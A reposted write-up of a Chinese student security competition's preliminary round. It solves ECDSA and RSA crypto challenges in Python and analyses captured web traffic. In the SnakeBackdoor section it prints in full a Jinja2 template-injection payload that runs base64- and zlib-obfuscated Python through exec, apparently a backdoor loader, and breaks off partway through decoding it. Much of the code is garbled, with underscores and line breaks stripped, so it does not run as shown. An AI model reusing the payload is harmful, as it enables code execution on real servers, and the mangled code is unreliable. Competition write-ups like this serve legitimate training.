第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛WriteUp

admin 2026-04-13 04:16:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了第十九届全国大学生信息安全竞赛初赛WriteUp,重点解析了ECDSA和RSA_NestingDoll两道密码学题目。ECDSA题目通过固定字符串生成可预测私钥,利用SHA-512和MD5计算得到flag;RSA题目采用Pollardp-1分解算法处理嵌套模数,详细展示了因子分解和明文恢复过程。文档包含完整的Python代码实现和flag验证结果。 综合评分: 72 文章分类: CTF,密码学,WEB安全,漏洞分析,实战经验


cover_image

第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛 Write Up

赛查查

2026年4月10日 09:53 北京

在小说阅读器读本章

去阅读

以下文章来源于晴光随行 ,作者晴光随行

晴光随行 .

记录生活妙招、语文天地、课堂笔记及技术摘抄的个人内容分享。

队伍名称:VMw@r3

学校/单位名称:暨南大学

总分:631

理论知识总分:230

排名:923

密码学

ECDSA


源码第 9-11 行

digestint = int.frombytes(sha512(b”Welcome to this challenge!”).digest(), “big”) curveorder = NIST521p.order privint = digestint % curveorder


私钥priv_int并不是随机生成的,而是由固定字符串"Welcome to this challenge!"经过SHA-512哈希计算得到的。这意味着私钥是固定的、已知的。

exp:


import hashlib from ecdsa import NIST521p

— 第一步:计算私钥 —

1. 准备题目中的种子字符串

seed = b”Welcome to this challenge!”

2. 计算 SHA-512 哈希

digest_val = hashlib.sha512(seed).digest()

3. 转换为整数

digestint = int.frombytes(digest_val, “big”)

4. 获取 NIST521p 曲线的阶 (Order)

curve_order = NIST521p.order

5. 取模得到私钥 (d)

privint = digestint % curve_order

print(f”[+] 算出私钥 (十进制): {priv_int}”)

— 第二步:生成 Flag —

题目要求:flag{私钥的MD5值}

通常情况下,指的是私钥的“十进制字符串”的 MD5

privstr = str(privint) flagcontent = hashlib.md5(privstr.encode()).hexdigest()

print(f”[+] 最终 Flag: flag{{{flag_content}}}”)


FLAG:flag{581bdf717b780c3cd8282e5a4d50f3a0}

RSA_NestingDoll


import gmpy2 import sys from Crypto.Util.number import longtobytes

设置递归深度,防止递归分解时报错

sys.setrecursionlimit(2000)

================= 题目数据 =================

n1 = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879 n = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793 c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629 e = 65537

================= 1. 准备素数表 (关键修正) =================

print(“[*] Generating prime sieve…”)

题目中 factor = getPrime(20),最大可能到 2^20 (约104万)

必须覆盖这个范围,否则找不到因子!

limit = 1050000 primes = [] isprime = [True] * (limit + 1) for i in range(2, limit + 1):     if isprime[i]:         primes.append(i)         for j in range(i * i, limit + 1, i):             is_prime[j] = False print(f”[*] Found {len(primes)} primes up to {limit}.”)

================= 2. 稳健的 Pollard p-1 分解 =================

def findfactorpollardp1robust(N, primeslist):     “””     尝试从复合数 N 中分离出一个因子。     使用 n1 作为预乘指数,然后批量乘以小素数。     如果批量导致 GCD=N,则进行回溯和逐个检查。     “””     if gmpy2.isprime(N):         return N

    print(f”[*] Attempting to factor modulus of size {N.bit_length()} bits…”)

    # 核心:利用 p-1 包含 n1 的因子的特性     # 先计算 base = 2^n1 mod N     g = gmpy2.powmod(2, n1, N)

    # 如果一开始就是 1,说明 n1 已经足够分解它了(不太可能,但如果是,说明 n1 是 lcm 的倍数)     dinitial = gmpy2.gcd(g – 1, N)     if 1 < dinitial < N:         return dinitial     if dinitial == N:         # 极端情况:n1 直接让所有因子都变为 1         # 这时候需要减小指数,比如不用 n1,从 2 开始慢慢乘         print(“[!] n1 is too strong initially. Restarting with base 2.”)         g = 2

    block_size = 200 # 批量处理大小

    for i in range(0, len(primeslist), blocksize):         chunk = primeslist[i : i + blocksize]

        # 计算当前批次的乘积指数         Echunk = 1         for p in chunk:             Echunk *= p

        # 尝试应用这个批次         newg = gmpy2.powmod(g, Echunk, N)         d = gmpy2.gcd(new_g – 1, N)

        if d == 1:             # 还没找到,继续累积             g = new_g             if i % 10000 == 0 and i > 0:                 print(f”    Processed {i} primes…”)

        elif 1 < d < N:             # 成功找到因子!             print(f”[+] Found factor! {d}”)             return d

        elif d == N:             # 碰撞!这一批次太猛了,导致 g 变成了 1 (mod 所有因子)             # 我们需要回退到 g (上一轮的状态),然后在这个 chunk 里逐个乘             print(f”[!] Collision detected at chunk {i}. Drilling down single primes…”)

            # 使用旧的 g 逐个尝试             tempg = g             for singlep in chunk:                 tempg = gmpy2.powmod(tempg, singlep, N)                 dsingle = gmpy2.gcd(tempg – 1, N)                 if 1 < dsingle < N:                     print(f”[+] Found factor during drill-down: {dsingle}”)                     return dsingle

            # 如果跑完了还是 N (理论上不应该,除非上一步状态已经坏了),则无法挽救             print(“[-] Drill down failed. This shouldn’t happen if math holds.”)             return N

    return N # 没找到

主循环分解逻辑

factors_found = [] composites = [n]

while composites:     curr_n = composites.pop(0)

    # 尝试分解 currn     factor = findfactorpollardp1robust(currn, primes)

    if factor == currn:         # 分解失败或它是素数         if gmpy2.isprime(currn):             print(f”[+] Identified prime factor: {currn}”)             factorsfound.append(currn)         else:             print(f”[-] Failed to decompose composite: {currn}”)             # 如果这里失败了,说明素数表还不够大,或者结构特殊             # 对于这道题,1050000 limit 绝对够了             break     else:         # 成功分解,将两个因子放回队列继续处理         print(f”[+] Split successful. Adding parts to queue.”)         composites.append(factor)         composites.append(currn // factor)

    # 如果我们已经找到了 4 个因子,检查是否都是素数     if len(factorsfound) + len(composites) == 4 and all(gmpy2.isprime(x) for x in composites):         factors_found.extend(composites)         break

print(f”\n[*] Total prime factors found: {len(factors_found)}”)

================= 3. 还原内层模数因子并解密 =================

if len(factorsfound) == 4:     print(“[*] Recovering inner factors (p1, q1, r1, s1)…”)     factorsn1 = []

    for pouter in factorsfound:         # p1 = GCD(p – 1, n1)         p1 = gmpy2.gcd(pouter – 1, n1)         if p1 > 1:             factorsn1.append(p1)         else:             print(f”[-] Error recovering p1 from {p_outer}”)

    if len(factorsn1) == 4:         print(“[+] All inner factors recovered.”)         # 计算 Phi(n1)         phi = 1         for p in factorsn1:             phi *= (p – 1)

        # 计算私钥 d         try:             d = gmpy2.invert(e, phi)             # 解密             m = gmpy2.powmod(c, d, n1)             flagpadded = longto_bytes(m)

            print(“\n” + “=”30)             print(“[+] Decrypted Message:”)             print(flagpadded)             try:                 print(“[+] Flag:”, flagpadded.decode())             except:                 pass             print(“=”30)         except Exception as err:             print(f”[-] Error during decryption: {err}”)     else:         print(“[-] Could not recover all 4 inner factors.”) else:     print(“[-] Need exactly 4 factors of n to proceed.”)


flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}

流量分析

SnakeBackdoor-1

可以看到流量包从No.26042到No.28201一直在爆破密码。根据No.28402发生重定向到/admin/panel可知No.28397最后一次爆破成功,后台密码为zxcvbnm123

FLAG:flag{zxcvbnm123}

SnakeBackdoor-2

过滤器筛选

http contains “SECRET_KEY” 找到唯一包体,追踪http流,查找SECRET_KEY,在一堆html中找到SECRET_KEY的值:’SECRET_KEY’: ‘c6242af0-6891-4510-8432-e1cdf051

SnakeBackdoor-3

往下找到一个可疑Payload


{{urlfor.globals[‘builtins‘][‘exec’](“import base64; exec(base64.b64decode(‘XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==’))”, {‘request’:urlfor.globals[‘request’],’app’:getflashedmessages.globals[‘current_app’]})}}


发现这是一段远程加载并执行恶意代码,将其中的


XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==


使用Base64解码得到


_ = lambda __ : import(‘zlib’).decompress(import(‘base64’).b64decode(_[::-1])); exec(()(b’=c4CU3xP+//vPzftv8gri635a0T1rQvMlKGi3iiBwvm6TFEvahfQE2PEj7FOccTIPI8TGqZMC+l9AoYYGeGUAMcarwSiTvBCv37ys+N185NocfmjE/fOHei4One0CL5TZwJopElJxLr9VFXvRloa5QvrjiTQKeG+SGbyZm+5zTk/V3nZ0G6Neap7Ht6nu+acxqsr/sgc6ReEFxfEe2p30Ybmyyis3uaV1p+Aj0iFvrtSsMUkhJW9V9S/tO+0/68gfyKM/yE9hf6S9eCDdQpSyLnKkDiQk97TUuKDPsOR3pQldB/Urvbtc4WA1D/9ctZAWcJ+jHJL1k+NpCyvKGVhxH8DLL7lvu+w9InU/9zt1sX/TsURV7V0xEXZNSllZMZr1kcLJhZeB8W59ymxqgqXJJYWJi2n96hKtSa2dab/F0xBuRiZbTXFIFmD6knGz/oPxePTzujPq5IWt8NZmvyM5XDg/L8JU/mC4PSvXA+gqeuDxLClzRNDHJUmvtkaLbJvbZcSg7Tgm7USeJWkCQojSi+INIEj5cN1+FFgpKRXn4gR9yp3/V79WnSeEFIO6C4hcJc4mwpk+09t1yue4+mAlbhlxnXM1Pfk+sGBmaUFE1kEjOpnfGnqsV+auOqjJgcDsivId+wHPHazt5MVs4rHRhYBOB6yXjuGYbFHi3XKWhb7AfMVvhx7F9aPjNmIiGqBU/hRFUuMqBCG+VVUVAbd5pFDTZJ3P8wUym6QAAYQvxG+ZJDRSQypOhXK/L4eFFtEziufZPSyrYPJWJlAQsDO+dli46cn1u5A5Hyqfn4vw7zSqe+VUQ/Ri/Knv0pQoWH1d9dGJwDfqmgvnKi+gNRugcfUjG73V6s/tihlt8B23KvmJzqiLPzmuhr0RFUJKZjGa73iLXT4OvlhLRaSbTT4tq/SCktGRyjLVmSj2kr0GSsqTjlL2l6c/cXKWjRMt1kMCmCCTV+aJe4npvoB99OMnKnZR4Ys526mTFToSwa5jmxBmkRYCmA82GFK7ak6bIRTfDMsWGsZvAEXv3Pfv5NRzcIFNO3tbQkeB/LIVOW5LfAkmR68/6zrL0DZoPjzFZI5VLfq0rv9CwUeJkR3PHcuj++d/lOvk8/h3HzSgYTGCwl1ujz8h4oUiPyGT74NjbY7fJ8vUHqNz+ZVfOtVw/z3RMuqSUzEAKrjcU2DNQehB0oY7xIlOT9u9BT4ROoDFo+5ZF6zVoHA4eIckXUOP3ypQv5pEYG+0pW4MyHmAQfsOaWyMdfMoqbw/M9oImdGKdKy1Wq3aq+t+xuyVdNAQMhoW2A7zQzob8XGA3G8VuoKHGOcc25HCb/FYeSxdwyIedAxklLLYMBHojTSpD1dExozdi89Gikhz3305ndTmECv0ZoUOHacnqtUUhJly7VgvX+JlawAY9orNPUmZM7QKbdOkTf/o8aQlS5Fe/xQkOMJGm4NXqLehiRIb925sTfVxwoNfP5v1MGlarYMifHl2rEp5C71ipFjpAGaEp9nRj0JgEa4lSTuYeVXwqbZQT3OfQvgt/bHJlAguqSWysGhqhITJYM6T10m71JiwfQH5iLXH5XbFk53QGcG2cAnFrWy70xEvabmf0u0ikQwpU2scP8LoEa/ClJnPSuWwicMkVLrkZGqnBvbk6JTg7HnT0vGUcV6kffIL6CK3bE1Fy0R6sl+UPoYvjkgSI3UbfD67bRxIxegBpYTzyCDzPytSE+a77sdxsghLpUC5hxz4ZeXdyIrbmhAqQw5eEnBuASE5qTMJkTp//hky+dT2pciOBYn/ACSLxprLZ0Ay1+zhl+XyV9WFL4NgBoH34bvkxH36nctszopWGPyd14RiS4d0EqNocqvtWu3YxkNgP+8fM/d/B0ikxKxh/GjkmQXaSX/B+40U4bfSbsEJpVOsTHTy6u0Nr67Sw7BvRwuVvfT0/8j73gYHBO2fGSIJ47ArYVm2+LzRT0iH5j7yVRmptcnAn8